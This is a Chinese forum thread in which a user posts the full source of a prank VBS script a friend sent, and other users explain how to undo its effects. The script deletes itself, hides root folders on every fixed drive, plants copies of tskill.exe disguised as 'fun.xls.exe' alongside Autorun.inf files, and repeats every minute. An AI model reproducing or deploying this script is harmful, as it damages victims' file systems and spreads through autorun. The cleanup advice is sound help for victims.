朋友整我給我發了個vbs檔案，雙擊后檔案自動消失了，然后
就跟中病毒一樣了
，vbs里面的代碼是On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "\" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "\" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "\" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
求大神幫幫我啊！！！
uj5u.com熱心網友回復：
你電腦里哪里來的tskill.exe？uj5u.com熱心網友回復：
這個，好像還沒什么十分嚴重的問題。你的計算機應該早就關機或重啟過了，現在并沒有影響你的系統運行吧。只是看起來別扭。
解決方法也不是很難。
第一步： “檔案夾和搜索選項”→“查看” 選項卡設定：
把“隱藏受保護的作業系統檔案（推薦）”的鉤鉤去掉。
“隱藏檔案和檔案夾” 那兒選擇 顯示隱藏的檔案、檔案夾和驅動器。
第二步：
系統盤：直接把根目錄下的那些帶 .exe 的檔案夾洗掉。
其它磁區：把根目錄下那些帶 .exe 的目錄名，去掉 .exe；對應目錄內的 Autorun.inf和fun.xls.exe直接洗掉。
洗掉這兩個檔案名的檔案，可以用搜索的方式，直接一起洗掉。
第三步： 上面那些處理過的檔案夾，按你的需要，看看是否把它們的“系統、隱藏”屬性去掉。
這個可能只有用命令列來操作，或寫批處理、vbs腳本等來處理。
uj5u.com熱心網友回復：
果然有tskill，還沒用過。話說這什么人啊，這幾乎是毀滅性的。
uj5u.com熱心網友回復：
我試了一下，除了難看之外，沒有別的后果啊。
uj5u.com熱心網友回復：
tskill.exe 不加引數，運行了也沒什么作用的。uj5u.com熱心網友回復：
不敢試，看起來目錄名都變了，如果system32和windows檔案夾下面都被改名了難道系統不會出問題么。uj5u.com熱心網友回復：
它只改了根目錄下的，就這一層。
system32和windows是“在使用中”的，也沒辦法改呀。
uj5u.com熱心網友回復：
作為一個受虐狂，一看見什么整人代碼，還不趕緊愛之初體驗？
uj5u.com熱心網友回復：
PE進系統，把VBS腳本改一下，修復。uj5u.com熱心網友回復：
有整人代碼去把電腦搞癱瘓還不如黑掉那臺電腦uj5u.com熱心網友回復：
u盤啟動 重裝系統這個難度應該是不高的
就是惡作劇而已
uj5u.com熱心網友回復：
一個個改就好uj5u.com熱心網友回復：
這個運行了之后有些軟體就不能卸載了 說找不到什么的uj5u.com熱心網友回復：
6666666轉載請註明出處，本文鏈接：https://www.uj5u.com/gongcheng/25210.html
標籤：VB基礎類
上一篇：陣列范圍超出定義范圍怎么處理啊
下一篇：vba代碼求助